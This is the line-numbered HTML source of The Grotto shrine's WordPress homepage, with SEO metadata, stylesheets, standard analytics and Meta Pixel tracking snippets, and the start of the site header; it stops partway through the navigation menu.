1<!doctype html> 2<html lang="en-US"> 3<head> 4 <meta charset="UTF-8"> 5 <meta name="viewport" content="width=device-width, initial-scale=1"> 6 <link rel="profile" href="https://gmpg.org/xfn/11"> 7 <meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' /> 8 9 <!-- This site is optimized with the Yoast SEO plugin v26.4 - https://yoast.com/wordpress/plugins/seo/ --> 10 <title>- The National Sanctuary of Our Sorrowful Mother, The Grotto</title> 11 <meta name="description" content="The Grotto is a internationally-renowned Catholic shrine and botanical garden located minutes from downtown Portland, serving over 300,000 visitors annually." /> 12 <link rel="canonical" href="https://thegrotto.org/" /> 13 <meta property="og:locale" content="en_US" /> 14 <meta property="og:type" content="website" /> 15 <meta property="og:title" content="- The National Sanctuary of Our Sorrowful Mother, The Grotto" /> 16 <meta property="og:description" content="The Grotto is a internationally-renowned Catholic shrine and botanical garden located minutes from downtown Portland, serving over 300,000 visitors annually." /> 17 <meta property="og:url" content="https://thegrotto.org/" /> 18 <meta property="og:site_name" content="The National Sanctuary of Our Sorrowful Mother, The Grotto" /> 19 <meta property="article:modified_time" content="2026-09-21T05:03:59+00:00" /> 20 <meta property="og:image" content="https://thegrotto.org/wp-content/uploads/2025/09/GARDEN_homesquare_ChapelMary.jpg" /> 21 <meta property="og:image:width" content="700" /> 22 <meta property="og:image:height" content="700" /> 23 <meta property="og:image:type" content="image/jpeg" /> 24 <meta name="twitter:card" content="summary_large_image" /> 25
25<script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebPage","@id":"https://thegrotto.org/","url":"https://thegrotto.org/","name":"- The National Sanctuary of Our Sorrowful Mother, The Grotto","isPartOf":{"@id":"https://thegrotto.org/#website"},"about":{"@id":"https://thegrotto.org/#organization"},"primaryImageOfPage":{"@id":"https://thegrotto.org/#primaryimage"},"image":{"@id":"https://thegrotto.org/#primaryimage"},"thumbnailUrl":"https://thegrotto.org/wp-content/uploads/2025/09/GARDEN_homesquare_ChapelMary.jpg","datePublished":"2025-08-29T17:16:01+00:00","dateModified":"2026-09-21T05:03:59+00:00","description":"The Grotto is a internationally-renowned Catholic shrine and botanical garden located minutes from downtown Portland, serving over 300,000 visitors annually.","breadcrumb":{"@id":"https://thegrotto.org/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://thegrotto.org/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https://thegrotto.org/#primaryimage","url":"https://thegrotto.org/wp-content/uploads/2025/09/GARDEN_homesquare_ChapelMary.jpg","contentUrl":"https://thegrotto.org/wp-content/uploads/2025/09/GARDEN_homesquare_ChapelMary.jpg","width":700,"height":700},{"@type":"BreadcrumbList","@id":"https://thegrotto.org/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home"}]},{"@type":"WebSite","@id":"https://thegrotto.org/#website","url":"https://thegrotto.org/","name":"The National Sanctuary of Our Sorrowful Mother, The Grotto","description":"The Grotto is a internationally-renowned Catholic shrine and botanical garden located minutes from downtown Portland, serving over 300,000 visitors annually.","publisher":{"@id":"https://thegrotto.org/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://thegrotto.org/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https://thegrotto.org/#organization","name":"The National Sanctuary of Our Sorrowful Mother, The Grotto","url":"https://thegrotto.org/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://thegrotto.org/#/schema/logo/image/","url":"https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-scaled.png","contentUrl":"https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-scaled.png","width":2560,"height":415,"caption":"The National Sanctuary of Our Sorrowful Mother, The Grotto"},"image":{"@id":"https://thegrotto.org/#/schema/logo/image/"}}]}</script>
25 26 <!-- / Yoast SEO plugin. --> 27 28 29<link rel="alternate" type="application/rss+xml" title="The National Sanctuary of Our Sorrowful Mother, The Grotto » Feed" href="https://thegrotto.org/feed/" /> 30<link rel="alternate" type="application/rss+xml" title="The National Sanctuary of Our Sorrowful Mother, The Grotto » Comments Feed" href="https://thegrotto.org/comments/feed/" /> 31<link rel="alternate" type="text/calendar" title="The National Sanctuary of Our Sorrowful Mother, The Grotto » iCal Feed" href="https://thegrotto.org/events/?ical=1" /> 32<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://thegrotto.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fthegrotto.org%2F" /> 33<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://thegrotto.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fthegrotto.org%2F&format=xml" /> 34<style id="wp-img-auto-sizes-contain-inline-css"> 35img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px} 36/*# sourceURL=wp-img-auto-sizes-contain-inline-css */ 37</style> 38<link rel='stylesheet' id='genesis-blocks-style-css-css' href='https://thegrotto.org/wp-content/plugins/genesis-blocks/dist/style-blocks.build.css?ver=1773253670' media='all' /> 39<link rel='stylesheet' id='tribe-events-pro-mini-calendar-block-styles-css' href='https://thegrotto.org/wp-content/plugins/events-calendar-pro/build/css/tribe-events-pro-mini-calendar-block.css?ver=7.7.14' media='all' /> 40<link rel='stylesheet' id='tec-variables-skeleton-css' href='https://thegrotto.org/wp-content/plugins/the-events-calendar/common/build/css/variables-skeleton.css?ver=6.10.2' media='all' /> 41<link rel='stylesheet' id='tec-variables-full-css' href='https://thegrotto.org/wp-content/plugins/the-events-calendar/common/build/css/variables-full.css?ver=6.10.2' media='all' /> 42<link rel='stylesheet' id='tribe-events-v2-virtual-single-block-css' href='https://thegrotto.org/wp-content/plugins/events-calendar-pro/build/css/events-virtual-single-block.css?ver=7.7.14' media='all' /> 43<style id="wp-emoji-styles-inline-css"> 44 45 img.wp-smiley, img.emoji { 46 display: inline !important; 47 border: none !important; 48 box-shadow: none !important; 49 height: 1em !important; 50 width: 1em !important; 51 margin: 0 0.07em !important; 52 vertical-align: -0.1em !important; 53 background: none !important; 54 padding: 0 !important; 55 } 56/*# sourceURL=wp-emoji-styles-inline-css */ 57</style> 58<style id="global-styles-inline-css"> 59:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgb(6,147,227) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgb(252,185,0) 0%,rgb(255,105,0) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgb(255,105,0) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);
59--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgb(255, 255, 255), 6px 6px rgb(0, 0, 0);--wp--preset--shadow--crisp: 6px 6px 0px rgb(0, 0, 0);}:root { --wp--style--global--content-size: 800px;--wp--style--global--wide-size: 1200px; }:where(body) { margin: 0; }.wp-site-blocks > .alignleft { float: left; margin-right: 2em; }.wp-site-blocks > .alignright { float: right; margin-left: 2em; }.wp-site-blocks > .aligncenter { justify-content: center; margin-left: auto; margin-right: auto; }:where(.wp-site-blocks) > * { margin-block-start: 24px; margin-block-end: 0; }:where(.wp-site-blocks) > :first-child { margin-block-start: 0; }:where(.wp-site-blocks) > :last-child { margin-block-end: 0; }:root { --wp--style--block-gap: 24px; }:root :where(.is-layout-flow) > :first-child{margin-block-start: 0;}:root :where(.is-layout-flow) > :last-child{margin-block-end: 0;}:root :where(.is-layout-flow) > *{margin-block-start: 24px;margin-block-end: 0;}:root :where(.is-layout-constrained) > :first-child{margin-block-start: 0;}:root :where(.is-layout-constrained) > :last-child{margin-block-end: 0;}:root :where(.is-layout-constrained) > *{margin-block-start: 24px;margin-block-end: 0;}:root :where(.is-layout-flex){gap: 24px;}:root :where(.is-layout-grid){gap: 24px;}.is-layout-flow > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}.is-layout-flow > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}.is-layout-flow > .aligncenter{margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}.is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}.is-layout-constrained > .aligncenter{margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > :where(:not(.alignleft):not(.alignright):not(.alignfull)){max-width: var(--wp--style--global--content-size);margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > .alignwide{max-width: var(--wp--style--global--wide-size);}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}body{padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;}:root :where(.wp-element-button, .wp-block-button__link){background-color: #32373c;border-width: 0;color: #fff;font-family: inherit;font-size: inherit;font-style: inherit;font-weight: inherit;letter-spacing: inherit;line-height: inherit;padding-top: calc(0.667em + 2px);padding-right: calc(1.333em + 2px);padding-bottom: calc(0.667em + 2px);padding-left: calc(1.333em + 2px);text-decoration: none;text-transform: inherit;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}
59.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;} 60:root :where(.wp-block-icon svg){width: 24px;} 61:root :where(.wp-block-pullquote){font-size: 1.5em;line-height: 1.6;} 62/*# sourceURL=global-styles-inline-css */ 63</style> 64<link rel='stylesheet' id='tribe-events-v2-single-skeleton-css' href='https://thegrotto.org/wp-content/plugins/the-events-calendar/build/css/tribe-events-single-skeleton.css?ver=6.15.17.1' media='all' /> 65<link rel='stylesheet' id='tribe-events-v2-single-skeleton-full-css' href='https://thegrotto.org/wp-content/plugins/the-events-calendar/build/css/tribe-events-single-full.css?ver=6.15.17.1' media='all' /> 66<link rel='stylesheet' id='tec-events-elementor-widgets-base-styles-css' href='https://thegrotto.org/wp-content/plugins/the-events-calendar/build/css/integrations/plugins/elementor/widgets/widget-base.css?ver=6.15.17.1' media='all' /> 67<link rel='stylesheet' id='hello-elementor-css' href='https://thegrotto.org/wp-content/themes/hello-elementor/assets/css/reset.css?ver=3.4.4' media='all' /> 68<link rel='stylesheet' id='hello-elementor-theme-style-css' href='https://thegrotto.org/wp-content/themes/hello-elementor/assets/css/theme.css?ver=3.4.4' media='all' /> 69<link rel='stylesheet' id='hello-elementor-header-footer-css' href='https://thegrotto.org/wp-content/themes/hello-elementor/assets/css/header-footer.css?ver=3.4.4' media='all' /> 70<link rel='stylesheet' id='elementor-frontend-css' href='https://thegrotto.org/wp-content/plugins/elementor/assets/css/frontend.min.css?ver=3.35.7' media='all' /> 71<link rel='stylesheet' id='elementor-post-8-css' href='https://thegrotto.org/wp-content/uploads/elementor/css/post-8.css?ver=1773253796' media='all' /> 72<link rel='stylesheet' id='widget-image-css' href='https://thegrotto.org/wp-content/plugins/elementor/assets/css/widget-image.min.css?ver=3.35.7' media='all' /> 73<link rel='stylesheet' id='widget-search-css' href='https://thegrotto.org/wp-content/plugins/elementor-pro/assets/css/widget-search.min.css?ver=3.32.2' media='all' /> 74<link rel='stylesheet' id='widget-nav-menu-css' href='https://thegrotto.org/wp-content/plugins/elementor-pro/assets/css/widget-nav-menu.min.css?ver=3.32.2' media='all' /> 75<link rel='stylesheet' id='widget-divider-css' href='https://thegrotto.org/wp-content/plugins/elementor/assets/css/widget-divider.min.css?ver=3.35.7' media='all' /> 76<link rel='stylesheet' id='widget-heading-css' href='https://thegrotto.org/wp-content/plugins/elementor/assets/css/widget-heading.min.css?ver=3.35.7' media='all' /> 77<link rel='stylesheet' id='widget-social-icons-css' href='https://thegrotto.org/wp-content/plugins/elementor/assets/css/widget-social-icons.min.css?ver=3.35.7' media='all' /> 78<link rel='stylesheet' id='e-apple-webkit-css' href='https://thegrotto.org/wp-content/plugins/elementor/assets/css/conditionals/apple-webkit.min.css?ver=3.35.7' media='all' /> 79<link rel='stylesheet' id='e-animation-fadeInLeft-css' href='https://thegrotto.org/wp-content/plugins/elementor/assets/lib/animations/styles/fadeInLeft.min.css?ver=3.35.7' media='all' /> 80<link rel='stylesheet' id='e-animation-fadeIn-css' href='https://thegrotto.org/wp-content/plugins/elementor/assets/lib/animations/styles/fadeIn.min.css?ver=3.35.7' media='all' /> 81<link rel='stylesheet' id='e-animation-fadeInRight-css' href='https://thegrotto.org/wp-content/plugins/elementor/assets/lib/animations/styles/fadeInRight.min.css?ver=3.35.7' media='all' /> 82<link rel='stylesheet' id='widget-icon-list-css' href='https://thegrotto.org/wp-content/plugins/elementor/assets/css/widget-icon-list.min.css?ver=3.35.7' media='all' /> 83<link rel='stylesheet' id='elementor-post-12-css' href='https://thegrotto.org/wp-content/uploads/elementor/css/post-12.css?ver=1789967044' media='all' /> 84<link rel='stylesheet' id='elementor-post-39-css' href='https://thegrotto.org/wp-content/uploads/elementor/css/post-39.css?ver=1773253796' media='all' /> 85<link rel='stylesheet' id='elementor-post-50-css' href='https://thegrotto.org/wp-content/uploads/elementor/css/post-50.css?ver=1788827789' media='all' /> 86<link rel='stylesheet' id='tablepress-default-css' href='https://thegrotto.org/wp-content/tablepress-combined.min.css?ver=11' media='all' /> 87<link rel='stylesheet' id='elementor-gf-local-marcellus-css' href='https://thegrotto.org/wp-content/uploads/elementor/google-fonts/css/marcellus.css?ver=1756870117' media='all' /> 88<link rel='stylesheet' id='elementor-gf-local-robotoslab-css' href='https://thegrotto.org/wp-content/uploads/elementor/google-fonts/css/robotoslab.css?ver=1756488212' media='all' /> 89<link rel='stylesheet' id='elementor-gf-local-inter-css' href='https://thegrotto.org/wp-content/uploads/elementor/google-fonts/css/inter.css?ver=1756870140' media='all' /> 90<link rel='stylesheet' id='elementor-gf-local-roboto-css' href='https://thegrotto.org/wp-content/uploads/elementor/google-fonts/css/roboto.css?ver=1756486701' media='all' /> 91<link rel='stylesheet' id='elementor-gf-local-marcellussc-css' href='https://thegrotto.org/wp-content/uploads/elementor/google-fonts/css/marcellussc.css?ver=1756911266' media='all' />
92<script id="jquery-core-js" src="https://thegrotto.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
vendor: 1 bytes, line 92
92
93<script id="jquery-migrate-js" src="https://thegrotto.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
93 94<link rel="https://api.w.org/" href="https://thegrotto.org/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://thegrotto.org/wp-json/wp/v2/pages/12" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://thegrotto.org/xmlrpc.php?rsd" /> 95<link rel='shortlink' href='https://thegrotto.org/' /> 96<meta name="tec-api-version" content="v1"><meta name="tec-api-origin" content="https://thegrotto.org"><link rel="alternate" href="https://thegrotto.org/wp-json/tribe/events/v1/" /><meta name="generator" content="Elementor 3.35.7; features: e_font_icon_svg, additional_custom_breakpoints; settings: css_print_method-external, google_font-enabled, font_display-swap"> 97<!-- Begin Constant Contact Active Forms -->
98<script> var _ctct_m = "47480c16baa43faeb57cfab017aa986d"; </script>
vendor: 2 bytes, line 98
98
99<script id="signupScript" src="//static.ctctcdn.com/js/signup-form-widget/current/signup-form-widget.min.js" async defer></script>
99 100<!-- End Constant Contact Active Forms --> 101<!-- Google tag (gtag.js) -->
vendor: 65 bytes, lines 101-102
101 102<script async src="https://www.googletagmanager.com/gtag/js?id=
102G-LT41Z3HXQ3
vendor: 13 bytes, line 102
102"></script>
103<script> 104
vendor: 136 bytes, lines 104-107
104window.dataLayer = window.dataLayer || []; 105 function gtag(){dataLayer.push(arguments);} 106 gtag('js', new Date()); 107 gtag('config', '
107G-LT41Z3HXQ3
vendor: 5 bytes, line 107
107');
108</script>
108 109 110<!-- Meta Pixel Code -->
111<script>
vendor: 408 bytes, lines 111-120
111 112!function(f,b,e,v,n,t,s) 113{if(f.fbq)return;n=f.fbq=function(){n.callMethod? 114n.callMethod.apply(n,arguments):n.queue.push(arguments)}; 115if(!f._fbq)f._fbq=n;n.push=n;n.loaded=!0;n.version='2.0'; 116n.queue=[];t=b.createElement(e);t.async=!0; 117t.src=v;s=b.getElementsByTagName(e)[0]; 118s.parentNode.insertBefore(t,s)}(window, document,'script', 119'https://connect.facebook.net/en_US/fbevents.js'); 120fbq('init', '
1201478262859905867
vendor: 32 bytes, lines 120-121
120'); 121fbq('track', 'PageView');
122</script>
122 123<noscript><img height="1" width="1" style="display:none" 124src=https://www.facebook.com/tr?id=1478262859905867&ev=PageView&noscript=1 125/></noscript> 126<!-- End Meta Pixel Code --> 127 <style> 128 .e-con.e-parent:nth-of-type(n+4):not(.e-lazyloaded):not(.e-no-lazyload), 129 .e-con.e-parent:nth-of-type(n+4):not(.e-lazyloaded):not(.e-no-lazyload) * { 130 background-image: none !important; 131 } 132 @media screen and (max-height: 1024px) { 133 .e-con.e-parent:nth-of-type(n+3):not(.e-lazyloaded):not(.e-no-lazyload), 134 .e-con.e-parent:nth-of-type(n+3):not(.e-lazyloaded):not(.e-no-lazyload) * { 135 background-image: none !important; 136 } 137 } 138 @media screen and (max-height: 640px) { 139 .e-con.e-parent:nth-of-type(n+2):not(.e-lazyloaded):not(.e-no-lazyload), 140 .e-con.e-parent:nth-of-type(n+2):not(.e-lazyloaded):not(.e-no-lazyload) * { 141 background-image: none !important; 142 } 143 } 144 </style> 145 <link rel="icon" href="https://thegrotto.org/wp-content/uploads/2025/10/The-Grotto-Favicon_Oct-2025.png" sizes="32x32" /> 146<link rel="icon" href="https://thegrotto.org/wp-content/uploads/2025/10/The-Grotto-Favicon_Oct-2025.png" sizes="192x192" /> 147<link rel="apple-touch-icon" href="https://thegrotto.org/wp-content/uploads/2025/10/The-Grotto-Favicon_Oct-2025.png" /> 148<meta name="msapplication-TileImage" content="https://thegrotto.org/wp-content/uploads/2025/10/The-Grotto-Favicon_Oct-2025.png" /> 149</head> 150<body class="home wp-singular page-template-default page page-id-12 wp-custom-logo wp-embed-responsive wp-theme-hello-elementor tribe-no-js hello-elementor-default elementor-default elementor-kit-8 elementor-page elementor-page-12"> 151 152 153<a class="skip-link screen-reader-text" href="#content">Skip to content</a> 154 155 <header data-elementor-type="header" data-elementor-id="39" class="elementor elementor-39 elementor-location-header" data-elementor-post-type="elementor_library"> 156 <div class="elementor-element elementor-element-eecb96a elementor-hidden-mobile e-flex e-con-boxed e-con e-parent" data-id="eecb96a" data-element_type="container" data-e-type="container"> 157 <div class="e-con-inner"> 158 <div class="elementor-element elementor-element-6b01941 e-con-full e-flex e-con e-child" data-id="6b01941" data-element_type="container" data-e-type="container"> 159 <div class="elementor-element elementor-element-70aefd4 elementor-widget-mobile__width-initial elementor-widget elementor-widget-theme-site-logo elementor-widget-image" data-id="70aefd4" data-element_type="widget" data-e-type="widget" data-widget_type="theme-site-logo.default"> 160 <a href="https://thegrotto.org"> 161 <img fetchpriority="high" width="2560" height="415" src="https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-scaled.png" class="attachment-full size-full wp-image-399" alt="" srcset="https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-scaled.png 2560w, https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-300x49.png 300w, https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-1024x166.png 1024w, https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-768x125.png 768w, https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-1536x249.png 1536w, https://thegrotto.org/wp-content/uploads/2025/08/TheGrottoLogo_PPNB_FinalGreenMaroon-2048x332.png 2048w" sizes="(max-width: 2560px) 100v
161w, 2560px" /> </a> 162 </div> 163 <div class="elementor-element elementor-element-2bf955e elementor-widget elementor-widget-shortcode" data-id="2bf955e" data-element_type="widget" data-e-type="widget" data-widget_type="shortcode.default"> 164 <div class="elementor-shortcode"><div class="gtranslate_wrapper" id="gt-wrapper-36067830"></div></div> 165 </div> 166 </div> 167 <div class="elementor-element elementor-element-949cd22 e-con-full e-flex e-con e-child" data-id="949cd22" data-element_type="container" data-e-type="container"> 168 <div class="elementor-element elementor-element-a4353a8 elementor-widget elementor-widget-search" data-id="a4353a8" data-element_type="widget" data-e-type="widget" data-settings="{"submit_trigger":"click_submit","pagination_type_options":"none"}" data-widget_type="search.default"> 169 <search class="e-search hidden" role="search"> 170 <form class="e-search-form" action="https://thegrotto.org" method="get"> 171 172 173 <label class="e-search-label" for="search-a4353a8"> 174 <span class="elementor-screen-only"> 175 Search </span> 176 </label> 177 178 <div class="e-search-input-wrapper"> 179 <input id="search-a4353a8" placeholder="" class="e-search-input" type="search" name="s" value="" autocomplete="on" role="combobox" aria-autocomplete="list" aria-expanded="false" aria-controls="results-a4353a8" aria-haspopup="listbox"> 180 <svg aria-hidden="true" class="e-font-icon-svg e-fas-times" viewBox="0 0 352 512" xmlns="http://www.w3.org/2000/svg"><path d="M242.72 256l100.07-100.07c12.28-12.28 12.28-32.19 0-44.48l-22.24-22.24c-12.28-12.28-32.19-12.28-44.48 0L176 189.28 75.93 89.21c-12.28-12.28-32.19-12.28-44.48 0L9.21 111.45c-12.28 12.28-12.28 32.19 0 44.48L109.28 256 9.21 356.07c-12.28 12.28-12.28 32.19 0 44.48l22.24 22.24c12.28 12.28 32.2 12.28 44.48 0L176 322.72l100.07 100.07c12.28 12.28 32.2 12.28 44.48 0l22.24-22.24c12.28-12.28 12.28-32.19 0-44.48L242.72 256z"></path></svg> <output id="results-a4353a8" class="e-search-results-container hide-loader" aria-live="polite" aria-atomic="true" aria-label="Results for search" tabindex="0"> 181 <div class="e-search-results"></div> 182 </output> 183 </div> 184 185 186 <button class="e-search-submit " type="submit"> 187 188 <span class=""> 189 Search </span> 190 </button> 191 <input type="hidden" name="e_search_props" value="a4353a8-39"> 192 </form> 193 </search> 194 </div> 195 <div class="elementor-element elementor-element-4073e96 elementor-nav-menu__align-end elementor-nav-menu--dropdown-mobile elementor-nav-menu__text-align-aside elementor-nav-menu--toggle elementor-nav-menu--burger elementor-widget elementor-widget-nav-menu" data-id="4073e96" data-element_type="widget" data-e-type="widget" 